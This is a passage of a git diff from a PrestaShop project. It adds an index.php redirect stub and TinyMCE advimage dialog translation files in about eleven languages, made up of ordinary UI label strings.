@@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/advimage/langs/ar_dlg.js b/js/tiny_mce2/plugins/advimage/langs/ar_dlg.js new file mode 100755 index 0000000..e6a5eb8 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advimage_dlg',{"image_list":"Image list","align_right":"\u064a\u0645\u064a\u0646","align_left":"\u064a\u0633\u0627\u0631","align_textbottom":"\u0627\u0633\u0641\u0644 \u0627\u0644\u0646\u0635","align_texttop":"\u0627\u0639\u0644\u0649 \u0627\u0644\u0646\u0635","align_bottom":"\u0627\u0633\u0641\u0644","align_middle":"\u0648\u0633\u0637","align_top":"\u0627\u0644\u0627\u0639\u0644\u0649","align_baseline":"Baseline",align:"\u0645\u062d\u0627\u0632\u0627\u0647",hspace:"\u0627\u0644\u0645\u0633\u0627\u0641\u0647 \u0627\u0644\u0627\u0641\u0642\u064a\u0647",vspace:"\u0627\u0644\u0645\u0633\u0627\u0641\u0647 \u0627\u0644\u0631\u0623\u0633\u064a\u0647",dimensions:"\u0627\u0644\u0623\u0628\u0639\u0627\u062f",border:"\u0627\u0644\u0625\u0637\u0627\u0631",list:"\u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0635\u0648\u0631",alt:"\u0648\u0635\u0641 \u0627\u0644\u0635\u0648\u0631\u0647",src:"\u0639\u0646\u0648\u0627\u0646 URL \u0644\u0644\u0635\u0648\u0631\u0647","dialog_title":"Insert/edit image","missing_alt":"Are you sure you want to continue without including an Image Description? Without it the image may not be accessible to some users with disabilities, or to those using a text browser, or browsing the Web with images turned off.","example_img":"Appearance preview image",misc:"Miscellaneous",mouseout:"for mouse out",mouseover:"for mouse over","alt_image":"Alternative image","swap_image":"Swap image",map:"Image map",id:"Id",rtl:"Right to left",ltr:"Left to right",classes:"Classes",style:"Style","long_desc":"Long description link",langcode:"Language code",langdir:"Language direction","constrain_proportions":"Constrain proportions",preview:"\u0645\u0634\u0627\u0647\u062f\u0647",title:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646",general:"\u0639\u0627\u0645","tab_advanced":"\u062e\u064a\u0627\u0631\u0627\u062a \u0645\u062a\u0642\u062f\u0645\u0647","tab_appearance":"\u0627\u0644\u0645\u0638\u0647\u0631","tab_general":"\u0639\u0627\u0645",width:"\u0627\u0644\u0639\u0631\u0636",height:"\u0627\u0644\u0627\u0631\u062a\u0641\u0627\u0639"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/az_dlg.js b/js/tiny_mce2/plugins/advimage/langs/az_dlg.js new file mode 100755 index 0000000..beebea1 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advimage_dlg',{"image_list":"\u015e\u0259kil siyah\u0131s\u0131","align_right":"Sa\u011fa","align_left":"Sola","align_textbottom":"M\u0259tn a\u015fa\u011f\u0131s\u0131 il\u0259","align_texttop":"M\u0259tn yuxar\u0131 il\u0259","align_bottom":"A\u015fa\u011f\u0131 il\u0259","align_middle":"M\u0259rk\u0259z il\u0259","align_top":"Yuxar\u0131 il\u0259","align_baseline":"Bin\u00f6vr\u0259 il\u0259",align:"Tarazla\u015fd\u0131rma",hspace:"\u00dcf\u00fcqi f\u0259za",vspace:"\u015eaquli f\u0259za",dimensions:"\u00d6l\u00e7\u00fcl\u0259r",border:"S\u0259rh\u0259d",list:"\u015e\u0259kil siyah\u0131s\u0131",alt:"\u015e\u0259kil t\u0259sviri",src:"\u015e\u0259kil \u00fcnvan\u0131","dialog_title":"\u015e\u0259kil \u0259lav\u0259/redakt\u0259 et","missing_alt":"\u018fminsiniz ki, \u015f\u0259kl\u0259 t\u0259svir yazmadan davam etm\u0259k ist\u0259yirsiniz? T\u0259svirsiz \u015f\u0259kil i\u015f qabiliyy\u0259ti a\u015fa\u011f\u0131 olan v\u0259 ya \u015f\u0259klin s\u00f6nd\u00fcr\u00fclm\u00fc\u015f funksiyas\u0131 il\u0259 m\u0259tn b\u0259l\u0259d\u00e7isind\u0259n istifad\u0259 ed\u0259n istifad\u0259\u00e7il\u0259r\u0259 \u0259l\u00e7atmaz ola bil\u0259r.","example_img":"Xarici g\u00f6r\u00fcn\u00fc\u015f\u0259 ilkin bax\u0131\u015f",misc:"M\u00fcxt\u0259lif",mouseout:"si\u00e7an\u0131 uzaqla\u015fd\u0131rd\u0131qda",mouseover:"si\u00e7an\u0131 g\u0259tirdikd\u0259","alt_image":"Alternativ \u015f\u0259kil","swap_image":"\u015e\u0259kli d\u0259yi\u015f",map:"X\u0259rit\u0259-\u015f\u0259kil",id:"\u0130dentifikator",rtl:"Sa\u011fda-sola",ltr:"Solda-sa\u011fa",classes:"Sinifl\u0259r",style:"Stil","long_desc":"\u018ftrafl\u0131 t\u0259svir\u0259 ke\u00e7id",langcode:"Dil kodu",langdir:"Dilin istiqam\u0259tl\u0259ndirilm\u0259si","constrain_proportions":"Proporsiyalar\u0131 saxla",preview:"\u0130lkin bax\u0131\u015f",title:"Ad\u0131",general:"\u00dcmumi","tab_advanced":"\u018flav\u0259","tab_appearance":"G\u00f6r\u00fcn\u00fc\u015f","tab_general":"\u00dcmumi",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/bg_dlg.js b/js/tiny_mce2/plugins/advimage/langs/bg_dlg.js new file mode 100755 index 0000000..7621541 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advimage_dlg',{"image_list":"\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438","align_right":"\u0414\u044f\u0441\u043d\u043e","align_left":"\u041b\u044f\u0432\u043e","align_textbottom":"\u0422\u0435\u043a\u0441\u0442 \u0434\u043e\u043b\u0443","align_texttop":"\u0422\u0435\u043a\u0441\u0442 \u0433\u043e\u0440\u0435","align_bottom":"\u0414\u043e\u043b\u0443","align_middle":"\u0426\u0435\u043d\u0442\u044a\u0440","align_top":"\u0413\u043e\u0440\u0435","align_baseline":"\u0411\u0430\u0437\u043e\u0432\u0430 \u043b\u0438\u043d\u0438\u044f",align:"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",hspace:"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e \u0440\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435",vspace:"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u0440\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435",dimensions:"\u0420\u0430\u0437\u043c\u0435\u0440\u0438",border:"\u0420\u0430\u043c\u043a\u0430",list:"\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438",alt:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",src:"URL \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","dialog_title":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","missing_alt":"\u0421\u0438\u0433\u0443\u0440\u0435\u043d \u043b\u0438 \u0441\u0442\u0435 \u0447\u0435 \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u0434\u0430 \u043f\u0440\u043e\u0434\u044a\u043b\u0436\u0438\u0442\u0435 \u0431\u0435\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430? \u0411\u0435\u0437 \u043d\u0435\u0433\u043e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u044a\u043f\u043d\u0430 \u0437\u0430 \u043d\u044f\u043a\u043e\u0438 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u0438 \u0441 \u043d\u0435\u0434\u044a\u0437\u0438, \u0438\u043b\u0438 \u0437\u0430 \u0442\u0435\u0437\u0438 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0449\u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432 \u0431\u0440\u0430\u0443\u0437\u044a\u0440, \u0438\u043b\u0438 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0449\u0438 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0441 \u0438\u0437\u043a\u043b\u044e\u0447\u0435\u043d\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438.","example_img":"\u041f\u0440\u0435\u0433\u043b\u0435\u0434 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430",misc:"\u0420\u0430\u0437\u043d\u0438",mouseout:"\u0437\u0430 mouse out",mouseover:"\u0437\u0430 mouse over","alt_image":"\u0420\u0435\u0437\u0435\u0440\u0432\u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","swap_image":"\u0421\u043c\u0435\u043d\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",map:"\u041a\u0430\u0440\u0442\u0438\u043d\u0430 \u043a\u0430\u0440\u0442\u0430",id:"Id",rtl:"\u041e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430 \u043b\u044f\u0432\u043e",ltr:"\u041e\u0442\u043b\u044f\u0432\u043e \u043d\u0430 \u0434\u044f\u0441\u043d\u043e",classes:"\u041a\u043b\u0430\u0441\u043e\u0432\u0435",style:"\u0421\u0442\u0438\u043b","long_desc":"\u0425\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430 \u043a\u044a\u043c \u0434\u044a\u043b\u0433\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",langcode:"\u041a\u043e\u0434 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",langdir:"\u041f\u043e\u0441\u043e\u043a\u0430 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430","constrain_proportions":"\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438\u0442\u0435",preview:"\u041f\u0440\u0435\u0433\u043b\u0435\u0434",title:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435",general:"\u041e\u0431\u0449\u0438","tab_advanced":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","tab_appearance":"\u0412\u044a\u043d\u0448\u0435\u043d \u0432\u0438\u0434","tab_general":"\u041e\u0431\u0449\u0438",width:"\u0428\u0438\u0440\u0438\u043d\u0430",height:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/ca_dlg.js b/js/tiny_mce2/plugins/advimage/langs/ca_dlg.js new file mode 100755 index 0000000..14250bd --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advimage_dlg',{"image_list":"Llista d\'imatges","align_right":"A la dreta","align_left":"A l\'esquerra","align_textbottom":"Baix del text","align_texttop":"Dalt del text","align_bottom":"Inferior","align_middle":"Mitjan lloc","align_top":"Superior","align_baseline":"L\u00ednia de base",align:"Alineaci\u00f3",hspace:"Espai horitzontal",vspace:"Espai vertical",dimensions:"Dimensions",border:"Vora",list:"Llista de la imatge",alt:"Descripci\u00f3 de la imatge",src:"URL de la imatge","dialog_title":"Insereix/edita imatge","missing_alt":"Esteu segur que voleu continuar sense incloure una descripci\u00f3 de la imatge? La imatge pot no ser accessible a usuaris amb discapacitats, o a aquells que utilitzin navegadors de text o que naveguin amb les imatges desactivades.","example_img":"Aparen\u00e7a imatge previsualitzada",misc:"Miscel\u00b7l\u00e0nia",mouseout:"quan el ratol\u00ed marxa",mouseover:"quan el ratol\u00ed arriba","alt_image":"Imatge alternativa","swap_image":"Canvia imatge",map:"Mapa de la imatge",id:"Id",rtl:"De dreta a esquerra",ltr:"D\'esquerra a dreta",classes:"Classes",style:"Estil","long_desc":"Enlla\u00e7 a la descripci\u00f3 llarga",langcode:"Codi de l\'idioma",langdir:"Direcci\u00f3 de l\'idioma","constrain_proportions":"Mant\u00e9 la proporci\u00f3",preview:"Previsualitzaci\u00f3",title:"T\u00edtol",general:"General","tab_advanced":"Avan\u00e7at","tab_appearance":"Aparen\u00e7a","tab_general":"General",width:"Amplada",height:"Al\u00e7ada"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/cs_dlg.js b/js/tiny_mce2/plugins/advimage/langs/cs_dlg.js new file mode 100755 index 0000000..cb9cb58 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.advimage_dlg',{"image_list":"Seznam obr\u00e1zk\u016f","align_right":"Vpravo","align_left":"Vlevo","align_textbottom":"Se spodkem \u0159\u00e1dku","align_texttop":"S vrchem \u0159\u00e1dku","align_bottom":"Dol\u016f","align_middle":"Na st\u0159ed \u0159\u00e1dku","align_top":"Nahoru","align_baseline":"Na z\u00e1kladnu",align:"Zarovn\u00e1n\u00ed",hspace:"Horizont\u00e1ln\u00ed odsazen\u00ed",vspace:"Vertik\u00e1ln\u00ed odsazen\u00ed",dimensions:"Rozm\u011bry",border:"R\u00e1me\u010dek",list:"Seznam obr\u00e1zk\u016f",alt:"Popis obr\u00e1zku",src:"URL obr\u00e1zku","dialog_title":"Vlo\u017eit/upravit obr\u00e1zek","missing_alt":"Skute\u010dn\u011b chcete pokra\u010dovat bez vlo\u017een\u00e9ho popisu obr\u00e1zku? Bez popisu m\u016f\u017ee b\u00fdt obr\u00e1zek nep\u0159\u00edstupn\u00fd u\u017eivatel\u016fm se zrakov\u00fdm posti\u017een\u00edm, u\u017eivatel\u016fm textov\u00fdch prohl\u00ed\u017ee\u010d\u016f nebo u\u017eivatel\u016fm, kte\u0159\u00ed maj\u00ed vypnuto zobrazov\u00e1n\u00ed obr\u00e1zk\u016f.","example_img":"P\u0159\u00edklad obr\u00e1zku",misc:"R\u016fzn\u00e9",mouseout:"Po odjet\u00ed my\u0161i...",mouseover:"P\u0159i najet\u00ed my\u0161i...","alt_image":"Alternativn\u00ed obr\u00e1zek","swap_image":"P\u0159epnout obr\u00e1zek",map:"Obr\u00e1zkov\u00e1 mapa",id:"ID",rtl:"Zprava doleva",ltr:"Zleva doprava",classes:"T\u0159\u00eddy",style:"Styl","long_desc":"Dlouh\u00fd popis",langcode:"K\u00f3d jazyka",langdir:"Sm\u011br textu","constrain_proportions":"Zachovat proporce",preview:"N\u00e1hled",title:"Titulek",general:"Obecn\u00e9 parametry","tab_advanced":"Roz\u0161\u00ed\u0159en\u00e9","tab_appearance":"Vzhled","tab_general":"Obecn\u00e9",width:"\u0160\u00ed\u0159ka",height:"V\u00fd\u0161ka"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/da_dlg.js b/js/tiny_mce2/plugins/advimage/langs/da_dlg.js new file mode 100755 index 0000000..66aa88b --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.advimage_dlg',{"image_list":"Billedliste","align_right":"H\u00f8jre","align_left":"Venstre","align_textbottom":"Tekstbund","align_texttop":"Teksttop","align_bottom":"Bund","align_middle":"Midte","align_top":"Top","align_baseline":"Grundlinje",align:"Justering",hspace:"Horisontal afstand",vspace:"Vertikal afstand",dimensions:"Dimensioner",border:"Kant",list:"Billedliste",alt:"Billedbeskrivelse",src:"Billed-URL","dialog_title":"Inds\u00e6t/rediger billede","missing_alt":"Er du sikker p\u00e5, at du vil forts\u00e6tte uden at inkludere en billedebeskrivelse? Uden denne er billedet m\u00e5ske ikke tilg\u00e6ngeligt for nogle brugere med handicaps, eller for dem der bruger en tekstbrowser, eller som browser internettet med billeder sl\u00e5et fra.","example_img":"Forh\u00e5ndsvisning af billede",misc:"Diverse",mouseout:"for mus-ud",mouseover:"for mus-over","alt_image":"Alternativt billede","swap_image":"Byt billede",map:"Billede map",id:"Id",rtl:"H\u00f8jre til venstre",ltr:"Venstre til h\u00f8jre",classes:"Klasser",style:"Stil","long_desc":"Lang beskrivelseslink",langcode:"Sprogkode",langdir:"Sprogretning","constrain_proportions":"Bibehold proportioner",preview:"Vis",title:"Titel",general:"Generelt","tab_advanced":"Avanceret","tab_appearance":"Udseende","tab_general":"Generelt",width:"Bredde",height:"H\u00f8jde"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/de_dlg.js b/js/tiny_mce2/plugins/advimage/langs/de_dlg.js new file mode 100755 index 0000000..fc0f6d1 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.advimage_dlg',{"image_list":"Bilderliste","align_right":"Rechts","align_left":"Links","align_textbottom":"Unten im Text","align_texttop":"Oben im Text","align_bottom":"Unten","align_middle":"Mittig","align_top":"Oben","align_baseline":"Zeile",align:"Ausrichtung",hspace:"Horizontaler Abstand",vspace:"Vertikaler Abstand",dimensions:"Ausma\u00dfe",border:"Rahmen",list:"Bilderliste",alt:"Beschreibung",src:"Adresse","dialog_title":"Bild einf\u00fcgen/ver\u00e4ndern","missing_alt":"Wollen Sie wirklich keine Beschreibung eingeben? Bestimmte Benutzer mit k\u00f6rperlichen Einschr\u00e4nkungen k\u00f6nnen so nicht darauf zugreifen, ebenso solche, die einen Textbrowser benutzen oder die Anzeige von Bildern deaktiviert haben.","example_img":"Vorschau auf das Aussehen",misc:"Verschiedenes",mouseout:"bei keinem Mauskontakt",mouseover:"bei Mauskontakt","alt_image":"Alternatives Bild","swap_image":"Bild austauschen",map:"Image-Map",id:"ID",rtl:"Rechts nach links",ltr:"Links nach rechts",classes:"Klassen",style:"Format","long_desc":"Ausf\u00fchrliche Beschreibung",langcode:"Sprachcode",langdir:"Schriftrichtung","constrain_proportions":"Seitenverh\u00e4ltnis beibehalten",preview:"Vorschau",title:"Titel",general:"Allgemein","tab_advanced":"Erweitert","tab_appearance":"Aussehen","tab_general":"Allgemein",width:"Breite",height:"H\u00f6he"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/el_dlg.js b/js/tiny_mce2/plugins/advimage/langs/el_dlg.js new file mode 100755 index 0000000..17aa55e --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.advimage_dlg',{"image_list":"\u039b\u03af\u03c3\u03c4\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03c9\u03bd","align_right":"\u0394\u03b5\u03be\u03b9\u03ac","align_left":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_textbottom":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03ba\u03ac\u03c4\u03c9","align_texttop":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03c0\u03ac\u03bd\u03c9","align_bottom":"\u039a\u03ac\u03c4\u03c9","align_middle":"\u039c\u03ad\u03c3\u03b7","align_top":"\u03a0\u03ac\u03bd\u03c9","align_baseline":"\u0393\u03c1\u03b1\u03bc\u03bc\u03ae \u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd",align:"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",hspace:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1",vspace:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ba\u03ac\u03b8\u03b5\u03c4\u03b7",dimensions:"\u0394\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2",border:"\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf",list:"\u039b\u03af\u03c3\u03c4\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03c9\u03bd",alt:"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",src:"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","dialog_title":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","missing_alt":"\u03a3\u03af\u03b3\u03bf\u03c5\u03c1\u03b1 \u03b8\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03c3\u03c5\u03bd\u03b5\u03c7\u03af\u03c3\u03b5\u03c4\u03b5 \u03c7\u03c9\u03c1\u03af\u03c2 \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2; \u03a7\u03c9\u03c1\u03af\u03c2 \u03b1\u03c5\u03c4\u03ae\u03bd\u03b7 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1 \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03bc\u03b7\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03c0\u03c1\u03bf\u03c3\u03b2\u03ac\u03c3\u03b9\u03bc\u03b7 \u03c3\u03b5 \u03ba\u03ac\u03c0\u03bf\u03b9\u03bf\u03c5\u03c2 \u03c7\u03c1\u03ae\u03c3\u03c4\u03b5\u03c2 \u03bc\u03b5 \u03c0\u03c1\u03bf\u03b2\u03bb\u03ae\u03bc\u03b1\u03c4\u03b1, \u03ae \u03c3\'\u03b1\u03c5\u03c4\u03bf\u03cd\u03c2 \u03c0\u03bf\u03c5 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03bf\u03cd\u03bd \u03c6\u03c5\u03bb\u03bb\u03bf\u03bc\u03b5\u03c4\u03c1\u03b7\u03c4\u03ae \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5, \u03ae \u03b2\u03bb\u03ad\u03c0\u03bf\u03c5\u03bd \u03c4\u03bf \u0399\u03bd\u03c4\u03b5\u03c1\u03bd\u03b5\u03c4 \u03c7\u03c9\u03c1\u03af\u03c2 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b5\u03c2.","example_img":"\u0394\u03bf\u03ba\u03b9\u03bc\u03b1\u03c3\u03c4\u03b9\u03ba\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1",misc:"\u0394\u03b9\u03ac\u03c6\u03bf\u03c1\u03b1",mouseout:"\u03b3\u03b9\u03b1 mouse out",mouseover:"\u03b3\u03b9\u03b1 mouse over","alt_image":"\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1","swap_image":"\u0391\u03bd\u03c4\u03b1\u03bb\u03bb\u03b1\u03b3\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",map:"\u03a7\u03ac\u03c1\u03c4\u03b7\u03c2 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",id:"Id",rtl:"\u0394\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",ltr:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",classes:"\u039a\u03bb\u03ac\u03c3\u03b5\u03b9\u03c2",style:"\u03a3\u03c4\u03c5\u03bb","long_desc":"\u03a3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03c2 \u03c0\u03bb\u03ae\u03c1\u03bf\u03c5\u03c2 \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae\u03c2",langcode:"\u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",langdir:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2","constrain_proportions":"\u0394\u03b9\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7 \u03b1\u03bd\u03b1\u03bb\u03bf\u03b3\u03af\u03b1\u03c2 \u03c0\u03bb. - \u03cd\u03c8\u03bf\u03c5\u03c2",preview:"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03c3\u03ba\u03cc\u03c0\u03b7\u03c3\u03b7",title:"\u03a4\u03af\u03c4\u03bb\u03bf\u03c2",general:"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac","tab_advanced":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2","tab_appearance":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7","tab_general":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/en_dlg.js b/js/tiny_mce2/plugins/advimage/langs/en_dlg.js new file mode 100755 index 0000000..5f122e2 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.advimage_dlg',{"image_list":"Image List","align_right":"Right","align_left":"Left","align_textbottom":"Text Bottom","align_texttop":"Text Top","align_bottom":"Bottom","align_middle":"Middle","align_top":"Top","align_baseline":"Baseline",align:"Alignment",hspace:"Horizontal Space",vspace:"Vertical Space",dimensions:"Dimensions",border:"Border",list:"Image List",alt:"Image Description",src:"Image URL","dialog_title":"Insert/Edit Image","missing_alt":"Are you sure you want to continue without including an Image Description? Without it the image may not be accessible to some users with disabilities, or to those using a text browser, or browsing the Web with images turned off.","example_img":"Appearance Preview Image",misc:"Miscellaneous",mouseout:"For Mouse Out",mouseover:"For Mouse Over","alt_image":"Alternative Image","swap_image":"Swap Image",map:"Image Map",id:"ID",rtl:"Right to Left",ltr:"Left to Right",classes:"Classes",style:"Style","long_desc":"Long Description Link",langcode:"Language Code",langdir:"Language Direction","constrain_proportions":"Constrain Proportions",preview:"Preview",title:"Title",general:"General","tab_advanced":"Advanced","tab_appearance":"Appearance","tab_general":"General",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/es_dlg.js b/js/tiny_mce2/plugins/advimage/langs/es_dlg.js new file mode 100755 index 0000000..6b6a513 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.advimage_dlg',{"image_list":"Lista de imagen","align_right":"Derecha","align_left":"Izquierda","align_textbottom":"Texto abajo","align_texttop":"Texto arriba","align_bottom":"Debajo","align_middle":"Medio","align_top":"Arriba","align_baseline":"L\u00ednea base",align:"Alineaci\u00f3n",hspace:"Espacio horizontal",vspace:"Espacio vertical",dimensions:"Dimensiones",border:"Bordes",list:"Lista de imagen",alt:"Descripci\u00f3n de la imagen",src:"URL de la imagen","dialog_title":"Insertar/editar imagen","missing_alt":" \u00bfEsta seguro de continuar sin introducir una descripci\u00f3n a la imagen? Sin ella puede no ser accesible para usuarios con discapacidades, o para aquellos que usen navegadores de modo texto, o tengan deshabilitadas las im\u00e1genes de la p\u00e1gina.","example_img":"Vista previa de la imagen",misc:"Miscel\u00e1neo",mouseout:"para mouseout",mouseover:"para mouseover","alt_image":"Imagen alternativa","swap_image":"Intercambiar imagen",map:"Mapa de imagen",id:"Id",rtl:"Derecha a izquierda",ltr:"Izquierda a derecha",classes:"Clases",style:"Estilos","long_desc":"V\u00ednculo para descripci\u00f3n larga",langcode:"C\u00f3digo del lenguaje",langdir:"Direcci\u00f3n del lenguaje","constrain_proportions":"Bloquear relaci\u00f3n de aspecto",preview:"Vista previa",title:"T\u00edtulo",general:"General","tab_advanced":"Avanzado","tab_appearance":"Apariencia","tab_general":"General",width:"Ancho",height:"Alto"}); \ No newline at end of file diff --git 